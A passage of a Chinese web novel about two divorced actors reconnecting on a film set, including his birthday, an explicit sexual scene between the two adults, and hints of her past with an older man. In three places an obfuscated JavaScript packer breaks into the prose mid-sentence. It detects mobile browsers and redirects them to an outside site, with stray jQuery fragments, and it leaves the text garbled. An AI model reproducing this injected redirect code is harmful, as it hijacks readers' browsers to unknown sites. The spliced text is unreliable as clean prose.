云灯说,“结果你猜怎样,那男的也出轨啊,可早了,我都没怎么费劲就找到一大堆。” “他一个入赘的还这么狂!” “男人有几个心眼不脏的。” “……” 叶平川:“倒也是事实。” “呵。”云灯又喝了一口水,“反正我手上证据更多,拿去让人威胁一下他就不敢再蹬鼻子上脸了。谁要跟他掰扯那些离谱的离婚条件啊?条件当然是我们来定咯。” “孽缘。”叶平川自动忽略了她叙述中的灰色手段,听完有些唏嘘,“就这样的人,当初也不知道是怎么能走到结婚的。” “可能当初多少也真爱过吧。所以说,我们还算是比较乐观的情况呢。” 云灯道,“至少我们没有那么蠢,需要发展到各自出轨,才能察觉感情出了问题,不是么?” “……” 他没有说话,眼神变得有些复杂。 云灯问,“还要继续比吗?” “不玩了。”叶平川兴致缺缺道。“出那么多汗当心感冒,回去冲个热水澡。” 她又眨眨眼,“那洗澡的时间要不要比赛?” “……幼稚。” 来之前因为生日礼物的事,叶平川还跟她闹别扭,嘀咕完八卦之后就不那么明显了。果然无论男女,一起讲别人坏话都是有利于增进友谊的。 或许她说到了点子上,叶平川确实觉得她是个还不错的人。即便不当夫妻,仍然有继续往来的价值。 起码两个人还没有恩断义绝,分道扬镳。 这样就够难得的了,还求什么呢。 叶平川生日的那天晚上,组里收工早,如约为他举行了生日聚会。一大圈人在蒙古包里围着吃羊肉火锅。 厚厚的毛毡隔绝冷风呼啸的寒气。蒙古包里香气翻滚,聊得热火朝天。 这个组里除了云灯和叶平川,其余几乎都是不太有名气的实力演员和行业新人。大家聚在一起要打开话题,就少不了聊她这个女主角的发展史,又免不了从《潮夜》说起。 云灯自身不喜欢这部电影。可作为她一夜成名的代表作,《潮夜》总是会在各种场合被人们反复地提。 “不过话说回来,潮夜的男主后来怎么销声匿迹了呢?应该是退圈了吧。” “对啊,再也没听说过他了。” “其实他的演技和形象也都挺好的,应该不缺资源吧。” “而且气质看着像是真富二代!估计只是来演艺圈玩玩。” “不过那么早退圈确实蛮可惜的。” 云灯吃饱了正拿果盘解腻,被问到这人的去向,也点点头说,“是退圈了。” 退出生物圈了。 《潮夜》公映的第二个月,男主角就被发现溺死在自家豪宅的泳池里。 当时电影正火得如日中天,为了防止负面影响扩散,多方联合一起掩盖了这则不幸的消息。 时隔多日,云灯当然也不打算在她们面前说出来。 还好今天生日聚餐的主角不是她。叶平川也在这,相比之下她还是更愿意听大家聊《无影之地》。 这部电影对他而言也有无法代替的重要意义,不仅让他首获影帝提名,更收获了人生伴侣。 这个组的主创女孩子居多。现实中王子与公主的奇妙爱情故事总是百听不厌,大家聊嗨了,吃完饭,切完蛋糕,收拾了战场,还兴高采烈地布起投影,重温《无影之地》。 叶平川挨着她身边,盘腿坐在毛毡垫上,跟大家一起看自己的作品。 画面中光影晃动,冷光打在他的脸上,五官轮廓被凸显得更加鲜明立体。侧脸神情认真,近乎带着对艺术的虔诚,像个还在电影学院里上课的大学生。 ——从注意力的落点可以判断出,云灯的心思不在电影上。 电影看到半程,她接到一通电话,应了两声就挂断,轻轻撞叶平川的肩膀。 “出来一下。” 叶平川不明所以地起身,跟着她走出去。 剧情就快到吻戏的部分了,他猜云灯可能是不想当着大家的面一起看。 从温暖的帐篷里走出来,猎猎北风刺得人脸疼。云灯没穿外套,拉着他只顾往前走,他也忘记了,便往前半步,好歹挡着点风,“去哪?” “跟我走。” 她嫌叶平川挡路,又越过他,顶着风走在前面,拉着他的手,拿手机自带的手电筒照着光。 在黑漆漆的辅路上,视觉受阻,风声也淹没了呼吸声。唯有牢牢牵住的一双手,仿佛短暂地共享了脉搏和体温。 从叶平川的视角看,她真的只有小小一个。只是盯着她乌黑的发旋,也难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15088210|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以控制地心跳加速起来。 云灯带他走到路边,一辆长途货车刚刚抵达,停在那还没熄火。 司机下车跟她打了声招呼,和两位工人一起揭开车棚上的防风薄膜。 “什么意思,”叶平川被她拉着走到车尾,还有功夫嘴贫,“你要把我卖了?” “……” 货车顶棚的灯亮了起来。后车板放下,一股植物的清香以罕见的磅礴之势,扑面而来。 云灯无需再叫他闭嘴。 望着被鲜花塞满的以吨计量的车厢,叶平川已然说不出话,一双漆黑的眼睛亮得惊人。 他认得这花的品种,是绣球花,名叫无尽夏。在无数文艺作品里,都能见到它的身影。可它不是属于这个季节的花朵,更难以盛放在草原。 在一个荒凉的冬日冷夜里,它突然地出现了,显得如此不合时宜。 又如此惊心动魄。 那些粉紫色和蓝色的绣球大朵大朵地挤在一起,花团锦簇,开得热闹无比。 强烈的生命力扑面而来,汹涌得像望不到尽到头的海洋,轻而易举地将他淹没。 “还好在零点之前赶到了。”云灯站在车厢满载的花海前,轻轻松了口气。“害我提心吊胆一整晚,都不太敢当着你面看手机。” 背后那种盛大的绚烂的美丽,成了凝练在她身上的光。而她用令人融化的,温柔的眼神注视着他,笑着对他说: “祝二十七岁的叶平川小朋友,生日快乐。” 就在他已经接受,并默默原谅,自己真的没有生日礼物了的时候。 她送了他一个不期而遇的夏天。 像是有意要盖过喧哗的心跳,叶平川吸了吸鼻子,大声挑剔,“只有花,没有卡片吗?” “当然有啦。”早知道他会犯什么毛病,云灯从卫衣口袋里拿出已经捂热的贺卡,“是我亲手写的喔。” 叶平川打开卡片,里面是她用漂亮的字体抄写的,一首十分优美的赞歌。是莎士比亚十四行诗里的段落。 Shallparetheetoasummer’sday? Thouartmorelovelyandmoretemperate.((可否将你比作夏日的一天?尽管你比它更加可爱温和。) Everyfairfromfairsometimedeclines, Bychance,ornature''schangingcourseuntrimm''d;(每一种晴朗都会消逝,不管愿意或是无奈;) Butthyeternalsummershallnotfade, Norlosepossessionofthatfairthouow''st.(但你这盛夏将永不凋零,也永远不会失去你拥有的魅力。) “哼……”他读完两遍,揉了揉泛红的鼻尖,把贺卡合起来揣进自己的口袋,“这还差不多。” 往回走的时候,叶平川握着她的手,总忍不住晃荡。 “开心了?”云灯说,“叶平川,你真的很像个小孩。” “嗯。”他太高兴,以至于心胸都变宽广了,于是可以接受一切评价,“那有什么不好呢。” 走了一路,晃荡了一路。回到蒙古包里时,他的表情堪堪调整成淡定的前辈状态。 没成想刚进来,众人齐齐起立,对着两人发出一阵起哄的笑。 原来是电影里刚刚演了吻戏。不知道是谁喝了个半醉,吆喝着,“男女主回来了!刚切蛋糕的时候都忘了提了,这么好的日子,怎么不得亲一个?” “哎!亲一个亲一个!” 嚷得热火朝天。居然连导演也陪着闹。 “反正明天也要拍吻戏。”邓晓琼笑眯眯地看热闹,“提前练一下嘛也是可以的。” “人家两口子还用练?下了戏肯定背着我们天天亲。” “哈哈哈就是!” “亲一个呗,亲一个!” 17. 第 17 章 两个人看起来老夫老妻的,一直感情很好,这点要求还拒绝未免显得做作。 云灯也笑了,在一片起哄声里挽着前夫哥的胳膊,轻轻扯了他一下,“那来吧宝宝。” 他今天过生日,正有理由当傲娇大王。云灯想他大概不会很配合,便主动踮起脚,在他转过来时亲上去。但有些提前,只亲到了嘴角。 蜻蜓点水。 围观群众纷纷表示太敷衍,没看够。 “好啦不闹了,电影还没结束呢。”她适时地控场,“我们谢大人会害羞的。” “……” 据说正处于害羞状态的叶平川抿起嘴角,悄悄舔了一下。感觉半张脸都是麻的。 半年多没接过吻,都快忘记是什么味儿了。 没闹得太过分,大家又坐下来继续看电影。 两人满身寒气地从外面回来,也没往里挤,只坐在靠边的角落里凑个人头。 叶平川暗戳戳靠过来,大鸟依人地低头抵在她肩上,“你亲我。” 云灯:“所以?” “你是故意的。”他现在才反应过来,“你知道如果等我亲你,就不会这么蜻蜓点水地结束,所以才故意主动来亲我。” “啊呀,怎么会呢?” “你就说是不是吧。” 云灯莞尔,用冰凉的指尖戳他的脸,“二十七岁的小朋友不应该有这么聪明。” “好歹今天我过生日,就只有半个吻吗?” “那等会儿散场了就再给你补半个?” “可以。” 没办法,总是过生日的人最大。 云灯不怎么在意,反正眼睛一眨就又有百种办法敷衍他。 电脑散场。在叶平川超绝不经意地提起后,大家一起去看那车无尽夏。 这么多花白白放着也是浪费,索性分给全剧组的工作人员,当个好彩拿回去玩玩。 大家被惊艳到纷纷拍照纪念,又给两人拍了很多。以花为背景,两张超有说服力的脸同框,氛围感指数型增长。只是平平无奇地站在那里,就能让人脑补出无数电影情节。 叶平川不笑不说话,只静静地注视着镜头时,那张脸其实很有故事感。不是过于成熟凌厉的硬线条,恰到好处的少年感让他看起来已经历过风雨,但未被磨砺得沧桑麻木。 很多粉丝和媒体评论都称赞他有一张天选男主角的脸。剧组里饰演姬垣的演员这样感慨,不乏羡慕。 “在我还没当男主角的时候,从来没人对我说过这样的话。”叶平川说。 像云灯那样一炮而红的天赋型选手毕竟是少数。他也是从无名无望的年轻演员里熬过来的,很懂这些刚毕业的小孩们是什么心情。 听他说完,姬垣表情明显好受了些。 “川哥也是个好真诚的人。”梁天小声说。“好多人红了以后都不认跑龙套的日子,喜欢把自己包装成天降紫微星呢。” 云灯但笑不语。 叶平川又被大家围着说心路历程,不得已地披露,“其实我对电影没什么执念,说爱好都谈不上。读的学校和专业都是因为一个朋友,当初他说他要当演员,我没什么打算,就约定了跟他一起。” “后来考上电影学院,觉得这行确实也挺有意思的,就这么干到现在了。” “哇,那肯定是特别好的朋友吧?能直接影响你的职业道路诶。” “对呀,是哪位大明星?还在圈里不?” 云灯微怔,默不作声地望向他。 “不知道在哪。”叶平川笑了一下,垂落的目光难掩落寞,“已经很久没联系了。” 明天还有拍摄,合完影大家抱着花各自回酒店房间休息。 电梯门打开,云灯对他说,“先回房间等我一下。我有事要去找富姐说。” 叶平川满脑子都是那半个吻,不疑有他,“那你快点来啊,别鸽我。” “知道啦。”她按了导演房间的楼层。 电梯再次上行。 到了楼上,云灯没去找邓晓琼,而是转了个弯,躲进昏暗无人的楼梯间。 网速很慢。她只好耐着性子等,做贼似的蹲在防火门旁,找出一个很久没登过的游戏账号,登入了游戏。 距离上一次她使用这个账号,已经过去了十年。 列表里的好友大多都还在线。她点进一个暗着的头像,花了几分钟浏览他的主页,最后点进私聊发送“生日快乐”—— 就退出游戏。 脚都蹲麻了,手也冻得失去知觉。冬天是很冷,不该在外面多停留。 她扶着墙缓慢地站起来,正要出去乘电梯,下一层的楼梯间里忽然传来异样的响动。 以为是打扫房间的阿姨,云灯下意识地探头看了一眼。 这一眼,让她心情怪异地顿在原地。 居然是江煜和谭雪舒,在无人处接吻。 两人饰演的角色在剧里是有感情线的。演员因戏生情很常见,再说这两个人都不是她手底下的新人,她没有必要多管闲事。 云灯悄无声息地退出楼梯间。 酒店的走廊灯光明亮,地毯柔软。她有些恍惚地往电梯方向走,刚刚目睹的那一幕始终在脑海中挥之不去。 谭雪舒的侧脸柔美而沉静,闭着眼睛把自己送上去,接吻中没有亲密的拥抱,而是不安地抓住对方的小臂。 那只手苍白到透明,仿佛在翻涌的夜色浪流之中,紧攥着一截救命的浮木。 电光石火间,她倏地明白了,谭雪舒身上那种似曾相识的熟悉感是从何而来。 呼吸紊乱。云灯有些急切地伸出手,去按电梯键。 啪。 灯又在她眼前熄灭,走廊上的装饰挂画全部掉落,天花板变形。鬼魅般的人影由远及近,伴随着愈演愈烈的嘈杂声,朝着她包围过来。 空间扭曲,这里变成了《潮夜》的拍摄现场。电梯门叮地一声打开,她看见自己就在里面,带着羞怯的神情,牵住身旁男人的手,抬头吻了上去。 年轻的女主角,主动向她的男主角示好,迫切地希望能借由面前的男人逃脱地狱。 可那个曾被寄予沉重的希望的男人,早已经死在了一方小小的泳池里。 叮。 电梯又响了一声。 云灯用力地晃头,指甲掐进手心。 电梯门打开,里面空无一人。 眼前的灯光恢复了正常。她脚踏实地地走进电梯,告诉自己,这才是现实。 可身体里似乎塌了一个洞,阴冷潮湿的风呼啸而过,带着血腥的,腐烂的恶臭。 摆不脱,也逃不掉。 云灯重重地喘了一口气,大步走出电梯折返回去,一脚踹向通往楼梯的防火门。 巨大的撞击声在空旷的楼梯间里回荡。 她拉开门走下去,正面走向正在懵神的两人。刚刚亲密接触,两人的身体还没有分开。 “亲得挺起劲?” 江煜回过神来,脸瞬间涨红了,手忙脚乱地往旁边撤了一大步,语无伦次,“是她……她突然扑过来!她,我……我,我冤枉啊!” “闭嘴。”云灯冷冷地打断。 “滚回去睡觉。今晚什么都没发生过,还想要命就给我闭嘴好好拍戏,听明白了吗?” 江煜茫然地张了张嘴,不懂她为什么忽然出现,说这些威胁的话。 但他从未在云灯脸上见过这种冷肃的神情。在暗处,她的瞳孔几乎全黑,凝视时甚至有些恐怖。 明明比他个子小,说话时甚至要微微仰着头,可他却被盯得悚然僵住,仿佛正被居高临下地审判。 他害怕了。 “……好。我跟谁也不会说的。” 江煜调整语气,努力在忐忑和尴尬中保持平静,“那我先回去了。” 云灯侧身给他让开了一条路。 谭雪舒一言不发地看着她训人,待江煜走后,已经准备好自己也要被骂个狗血喷头。 “我没有话要跟你说。” 云灯却只是深深的看了她一眼,似乎感到疲倦,“你也回去,老实待着。别生什么蠢念头。” 谭雪舒没有应答。两人对视了几秒,她轻声地问,“你和傅先生早就认识的,对不对?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101750|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她像琼瑶小说里的女主角,很有些幽静气质,眉宇间有化不开的愁怨。 云灯不想多说一句,不耐烦地摆摆手,转身离开了。 如果时光能倒流,回到试镜那天,即使导演也十分欣赏,她绝不可能让这个麻烦进组。 打从出生到这个世界的第一天起,从她还是潘云灯的时候,她就不是温柔善良的性格,更不是个多管闲事的人。 习惯用温和的态度社交,只是因为在大多数情况下,那副面孔更容易获取人的信任。 明知道管了会后悔,可这事发生在她的组里,她实在没办法视而不见。 云灯十分郁闷地回房间,只希望自己的警告有用。演员里出了人命对谁都没有好处。万一剧拍完播不了,她忙活这么久,投入的精力就全都打水漂了。 她身上没带房卡。叶平川等着她回来,没关房门。 云灯进来发现洗手间的灯亮着。门缝里溢出沐浴露的香气,他应该是刚洗完澡,但人还在里面没有出来。 或许是忘拿要换的衣服了,她过去敲门,“叶平川?” “嗯,等我一下。”或许是隔着门,他的声音听起来闷闷的,带着鼻音,“马上就好了。” 云灯直觉有猫腻,但还是靠在门边等了几分钟,看他还没动静,又敲了敲门,关心地问,“怎么啦,是尿不出来吗?” “……” “叶平川,你到底在里面干什么?” 浴室门没法儿上锁,她其实随时都能拧开进来。 叶平川坐在马桶上仰着头,有点烦躁地说,“在自/慰。不准进来。” “真的?”云灯挑眉,语气也感兴趣地上扬,“那更要进来参观一下了。” “……” 叶平川气得笑出声来,一只手捏着鼻子,气势汹汹地起身出去,“不要催了!我现在火气很大!” 门一开,那种热烘烘的香气瞬间变浓郁,扑面而来的暖意恍如夏日。 云灯就站在门口,冷不防贴得极近,几乎撞上他的胸膛。香气从他光裸着的上半身传来,让人怀疑是因为被他的体温煨过,才会变得这么好闻。 她退后半步抬起头,看到叶平川红通通的脸,没忍住扑哧一声。 确实是火气很大。 “怎么流鼻血了?”云灯拍了拍他,拉着他的胳膊往里走,“别仰头啦,会呛到的。跟我过来坐下缓缓。” 天干物燥。晚上的火锅他羊肉吃多上火了,半天都没止住。 叶平川很没面子地坐在沙发上,捏着鼻子说话的声音像卡通人物,懊恼地说,“干嘛这么快回来?早知道给你发微信,让你们再多聊会儿了。” 云灯听他说话也笑,看他的样子也笑。把他笑得想甩门走人,“不准再笑了!” 云灯说,“可是你真的很可爱。” “……” 真的很烦。 叶平川满脑子只有一个念头。 这样太影响接吻了。 “这是个意外。”他试图为自己正名,“我长这么大都没流过几回。” “嗯,是你气血太旺了。”云灯试图安慰,“这表示……表示你应该身体很好。” 叶平川觉得她是在胡编乱造,但不影响有被安慰到,“我身体就是很好。” “嗯。”云灯忍笑去给他倒了杯温水,插上吸管,站在他身边喂给他喝。 叶平川喝了半杯,放松下来,又忍不住吐槽,“刚刚真吓我一跳,正洗着澡忽然脚下的水变红了,差点以为我也来姨妈了呢。” 云灯实在忍不住笑出声,把他蠢蠢欲动的脑袋按住,“不能抬头。” “不抬头我也听见了!能不能有点同情心啊!” “我有啊。”她笑完才放开手,调整了一下表情,蹲下来看着他,“那要不要我帮忙?” “怎么帮。”叶平川苦着脸。松开鼻子,吸气都是腥味儿,“要帮我捏一会儿么。” 好像也不怎么流了。 她摇头,摸了摸叶平川发烫的脸,手指缓慢地下移,故意拉长声调,“要不要……帮我们谢大人泄泄火?” 18. 第 18 章 叶平川脸颊上血色更浓,瞳孔微微扩大,不敢相信地看着她。 “是不想要吗?”云灯很冷静地问。 当然不是。叶平川低下头,贴在她的额前,低声嘀咕,“可是我想接吻。” 不以亲吻为前提的亲密接触是耍流氓,这话还是云灯从前对他说的。两个人一起践行了很久。 时过境迁。他已经被训练出了系统性的条件反射,缺少步骤就觉得不够圆满。 可她却可以轻易地抛开,不遵守规则。 云灯推开他,半跪坐在沙发前的地垫上,拉低他睡裤的动作几乎称得上悠闲。 房间里温度骤然升高。 搏动的命脉被她扼住。叶平川还没来得及做什么,就被呵斥一声,“不许乱动。” 他只能靠在沙发上任人宰割,脸热心颤。低垂的视线余光里,她还戴着那只翡翠镯子。莹润的紫色圈在一截细白的手腕上,随着她的动作上下摇晃。 “夏天怎么还不到呢?”她换了一只手,游刃有余地把玩,又拿捏时机用力。 叶平川死死地盯着她,视线都快要烧起来。她却视而不见,仿佛真是在一心一意地帮忙。 直到灭顶的时刻来临。她掌心颤动,瞄了一眼叶平川的表情,很妥帖地双手接住捧起来,“到了这么多。” “……” 她飘然起身,去洗手的路上,随口一句更是毁灭性的打击,“好像不到三分钟哦。” 人果然还是要学会给自己找乐子。她站在盥洗台前,拿香皂搓洗手指,郁闷的心情一扫而空。 还没等她把手冲干净,叶平川忽然出现在她身后。惊呼声中把她一把扛起,大步扔在床上。 “你就很行么?”说话间,叶平川轻而易举地把她扒了个精光。喷洒在腹间的呼吸湿而灼热。“那来看看你有多厉害。” ………… 耳边甚至有手机计时器的滴答声响。 云灯两只手被他按在两旁,被压得抬不起腿,有些恼火。 只有在被送上云端的刹那,并起腿狠狠地夹了一下他脑袋,给自己出气。 叶平川舔了舔嘴唇,松开一只手关掉计时器,瞥了一眼发出嗤笑,“一分五十八秒?还好意思说我呢。” 他并没有起身的打算。余韵缓过去,云灯对上他的眼睛,忽然打了个冷颤,“叶平川,你要是敢在这个时候亲我,你就完……” 难言的滋味渗进嘴里,她只来得及嫌弃了两秒钟,又掉进目眩神迷的怪圈。 实在喘不过气,她伸手想推开,没控制好力度,不小心扇了他一巴掌。 叶平川一怔,眼睛都激红了,吻得更狠更深。 他终归还是如愿以偿,得到了不止半个吻。 残存的理智让他在云灯发火之前停下来,又亲了亲她的耳朵,试图用略带沙哑的声线勾引,“我今天想在这里睡。” 云灯勉强翻了个身,背对着他,调匀呼吸,“不行。” “……为什么?”他身体力行地表达出不理解的信号,“你又不是对我没感觉了。” 云灯往边上挪了挪,不让他抵着。又过了一会儿,才说,“因为我觉得很麻烦。” “……” 叶平川没说话,一腔热血凉了大半。 “就算我们这几个月经常待在一起,感情又好起来了,等这部剧拍完,新鲜感过去就还是会分开的。”她说着,坐起身靠在床头,随手捡一件衣服套上,拢起长发。看起来很适合来一支事后烟。 “我们都已经亲自经历过了不是么?何必再折腾一次呢。明知道人都是善变的。” “只有你是。”叶平川闷声道,“我不是。” “好好好,”她无奈地说,“只有我是。” 叶平川又哼了一声,平躺着等身体冷静。躺得很安详。 “照这么讲,你跟谁都过不下去。”他说,“除非我一辈子都跟你在一起拍戏,才能跟你永远在一起对么。” 云灯叹气:“你果然还是很喜欢我。” “……” “但你说得没错。我跟谁都过不长。”她说,“多亏跟你结婚,才让我看清楚这点。还是要谢谢你的。” 她说得挺诚恳。 但叶平川并没有感到欣慰。 “而且我今晚真的没体力陪你玩。”她又蔫蔫地说,“白天骑马颠得浑身疼,腰都快散架了。” “就说你在马上时间太长了。”身体反应消下去,叶平川本来正要翻身下床,闻言又坐回来,“拿枕头趴着,给你按按再走。” “喔。” 以前陪她去做理疗,叶平川还特意找推拿师傅学了几手。 力度拿捏得很好。云灯闭上眼,被按得骨头缝里都卸了劲,浑身放松,有一搭没一搭地跟他说着话,困意迷蒙。 “今天的蛋糕没有你去年亲手给我烤的那个好吃。” “今天我还排了戏,腾不出手来。不然酒店里有厨房,有食材,也是可以再做一个的。” “别。要烤那么多人吃的,你腰更受不了。”他的声音渐渐低下去,“还是只给我做吧。” 云灯听见了,趴在枕头里笑,又说,“去年你许的生日愿望,已经实现了。今天吹灭蜡烛之前,你许了什么愿望呢?” 她有一点想知道。 但叶平川的声音越来越模糊,她听不清了。 想说话,也没有力气再开口。 身体似乎在下坠。一片漆黑里,她又听见那个轻轻的声音,在试探着询问。 你和傅先生认识吗? 要怎么样…… 才能离开他呢? 十七岁那一年的记忆,比人生中任何一年都更加鲜明。 她跟在救自己于水火之中的傅先生身后,踏入一片未知的土地,去面对陌生的世界。 新鲜迷人,又充满危机。 要怎样才能在这个世界里活得很好呢? 要怎么样才能永远不会被别人欺负,永远都不受到伤害? 她听见那个熟悉的,绅士的声音,悉心地教导。 要伪装,要隐藏。直到你自己也忘记自己是什么样。 让我来为你挑选,打造一只最适合你的面具。 有我喺度,唔使惊。 还有我,会帮你记起你是谁。 只有我。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101751|163233||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ** 噩梦中惊醒的滋味并不好受。 云灯疲惫地睁开眼睛,身边被子是乱的,可是空无一人。 叶平川很听话,给她按完腰就去隔壁睡觉了。 她翻了个身,把被子扯进怀里,很想要一个热烘烘的拥抱。 梁天也以为生日当晚,两人会睡得比较少,还很贴心地多留了些时间,踩着点过来叫她。 没想到叶平川跟平常一样,从她隔壁出来,打了个呵欠说早。 梁天肃然起敬。 敬业,太敬业了。 这两口子不红天理难容。 今天要拍的戏里有一场是大家期待已久的,沈言秋与谢凭渊的定情戏。 夜幕降临,两人忙完公务,一起在草原上散步,累了就躺下来看星星。 谢凭渊把披风铺在她身下,送了她镯子当定情信物。两人在星空下接吻。 剧本里寥寥几行,片场实际拍摄却很有难度。 邓晓琼也纳闷是怎么回事。 两个人都是成熟演员了,以往很会把握分寸感,今天眼神一对上,就跟冒火星子似的。嘴唇一碰,难分难舍。 “分开分开,你俩是不是昨天晚上做爽了?” 她忍无可忍地打断,“上班时间,亲嘴禁止夹带私人感情!我要的是青涩,不是色.情。” “……” 云灯打落腰间的手,“听见没有,叫你分开。” “分开了啊。”叶平川无辜道,“这不躺下了么,不这个姿势我俩都难受。” “难受才是对的。”邓晓琼说,“谢大人,你头一回谈恋爱,非要这么熟练么?回忆一下你还是个处男的时候,情窦初开那个感觉!你找找。” 云灯都快不记得了,也好奇着,“你找找。” “……” 叶平川扪心自问,确实是有点忘本了。 第一次谈恋爱就是跟云灯在一起,所有事情都发生得恰到好处,水到渠成。 他动心时很清楚云灯也对他有意思,他告白时从没想过云灯会拒绝。甚至他求婚,都是云灯先提出了这个念头,给了他可以这么做的暗示。 一般人们谈恋爱时磕磕绊绊的摸索阶段,他都没有经历过。 他尚且没有意识到,自己全程都在被引导。是由云灯精确控制每一次节奏,给予他的完美体验。 但他经历了离婚。 同样是云灯带给他的,感受却是天翻地覆。 他记得云灯提出要离婚的那个夜晚。自有记忆以来,他从没体会过在面对一个人时那么不自信,不敢相信曾经无比确定的爱意,居然就那样毫无预兆地消失了。 他才知道,除了自己,他无法断定任何人的感情是永恒不变的。 一旦把自己交付出去,他的命运就握在了她的手里。全凭她做主,天堂或地狱只在一念之间。 恰恰是这种不确定性,危险又迷人。 正是为了那颗瞬息万变的真心,才让人甘愿冒全天下最大的风险,去做粉身碎骨的事。 “殿下。”他凝望着挚爱的公主,在她掌心里写下两个字,轻吻上去。 “执我为刃。” 19. 第 19 章 虔诚效忠的一吻,比真正的亲密接触还要令人印象深刻。 导演看完也觉得这一版更有记忆点。 草原上风大,收工时大家都冻得瑟瑟发抖。云灯又在人群里看见谭雪舒,对上视线,隔着不远的距离点了点头。 没戏的日子谭雪舒也会来片场坐着,观看其他人拍摄,或是向前辈学习请教。 楼梯间里被撞见的事谁都没有再提。 或许是因为尴尬,下了戏江煜都有点避着她走。 况且,也不只在这一件事上。剧组里的人都知道,谭雪舒的男友经常来探班,哪怕到草原拍戏的这两周,都不远千里地探望。 那辆低调的劳斯莱斯,连叶平川都见到过一回。 “你看人家两口子过的。” 他的脑回路和攀比心都来得令人迷惑,“我以前出去拍戏,一走两三个月都不见得你来探班一回。爱与不爱真的很明显哈。” “这也要比。” 云灯欲骂又止,想了想还是问他,“你见到了?印象怎么样。” 说话时两人坐在机场KFC的角落,开着暖气的店里充满了汉堡和炸鸡的香味。 叶平川正在撕番茄包,闻言头也不抬地说,“好像是个老男人。” 说完又补充,“感觉挺装的。” 云灯反问,“这个世界上还有不装的男人吗?” “倒也是。” 叶平川拿起薯条,还没吃到就反应过来,露出狐疑的眼神,“你怎么替他说话。认识他?” “陈述事实,哪有替他说话。”云灯漫不经心地搅着冰激凌,“是认识。我前男友。” 啪嗒一声,他手里的薯条掉回餐盘。 云灯接着说,“我十七岁跟着他去了港市,想在那里重新开始生活。哦,改名字也是他帮我的。” 十七岁…… 云灯跟他在一起的时候还是未成年?! 这对吗?不犯法吗这。 叶平川沉默了,好不容易申请来的放纵餐也没什么胃口继续吃。 他没有追问过云灯的情史。当然不是完全不在意,但云灯说,因为他没有情史可以讲,单让她讲自己的事显得很不公平。 要么两个人都讲,要么都不讲。他当初听了竟然觉得合理,也就没再深究。 再加上云灯平时除了挣钱和跟他一起玩之外并没有其它爱好,比较亲近的朋友也都是女性。 从结婚到离婚,他还是第一次从云灯口中听到“前男友”这个词被展开叙述。 他勉强咬了一口汉堡,CPU又开始飞速运转,“那你是什么时候知道,谭雪舒的男朋友是他?” “雪舒进组的那天。”她说。 那个晚上云灯破天荒地请假,整个人看起来失魂落魄的,甚至还想把他踢出剧组。 难道,竟然,怎么会,就是为了一个老男人? “他很难忘?”叶平川又问。手中小小的汉堡被攥成一坨。 云灯点点头,“是很难忘。” 他立刻提高声音,“你跟我离婚不会就是因为……” “你小点声!” 云灯一个眼刀飞过去,把他棒球帽的帽檐用力往下压,“乱猜什么。人家都已经有女朋友了好吗。” “可别的人都没有你聪明,有趣,更没你漂亮,善解人意!” “……” 她打了个暂停的手势:“可以不要再数我的优点了吗?” 叶平川把汉堡压成一个饼,扁扁的扔在桌上,咬牙道,“反正不许他见到你。” 万一又旧情复燃呢! 他很后悔没多看两眼。到底是什么样的老男人,能让云灯说出“很难忘”这三个字。 但在他心里,除了处对象的眼光一致,已然跟人势不两立。 云灯若有所思地看了他几秒,零帧起手,朝他头顶拍了一巴掌,“不许浪费食物。” “……” 叶平川三两口把汉堡饼吃完,努力消化了一会儿,又低声问,“你家里不管啊?” 十七岁还在上高中呢,还正是备战高考的关键时期。 但凡是关心孩子的家长,怎么可能会允许女儿跑去那么远的地方,搬家转学,重新适应环境。 “你以为全天下的父母都像你家里那两位一样?”她露出个无语的表情,拿薯条蘸冰激凌吃。 再不跑,她只会完蛋得更快。 “别说这些没用的话了。杀青之前我不会再陪你吃肯德基的,这一顿好好珍惜吧。” 幸福小孩是不会懂的。她也不想听叶平川用怜悯的语气说话,生硬地结束了这个话题,“给你二十分钟吃完。免得误机。” “哦。”叶平川有些泄气,“你总是这样。” 结婚时不想说的话,离了婚她也照样不说。 每到这种时候,他都会再反省一遍自己,难道真的在她眼里是个不值得托付的人。 都认识这么久了,还没有对他放下防备。 可是比起强行剥开她的隐秘,他更不想看到的,是云灯因此而感到不安和受伤。 “反正我拿你没办法。”叶平川一边蹭她的冰激凌吃,一边当面说人坏话,“感觉到了八十岁也还是被你欺负的命。” “谁欺负你啦。”云灯大方让出冰激凌,“都给你吃。” 从天高地阔的草原,回到宫禁森严的影视城,组里气氛明显有变化。 皇城里到处是四角端正的建筑,庄重而压抑,让人在草原上放飞的心也沉了下来。 这晚在导演房间开会,最后一个讨论的重点是一场谢凭渊亲自登门下聘的戏。 实际拍摄中,剧本会根据演员表现和各方面因素的影响不断调整。 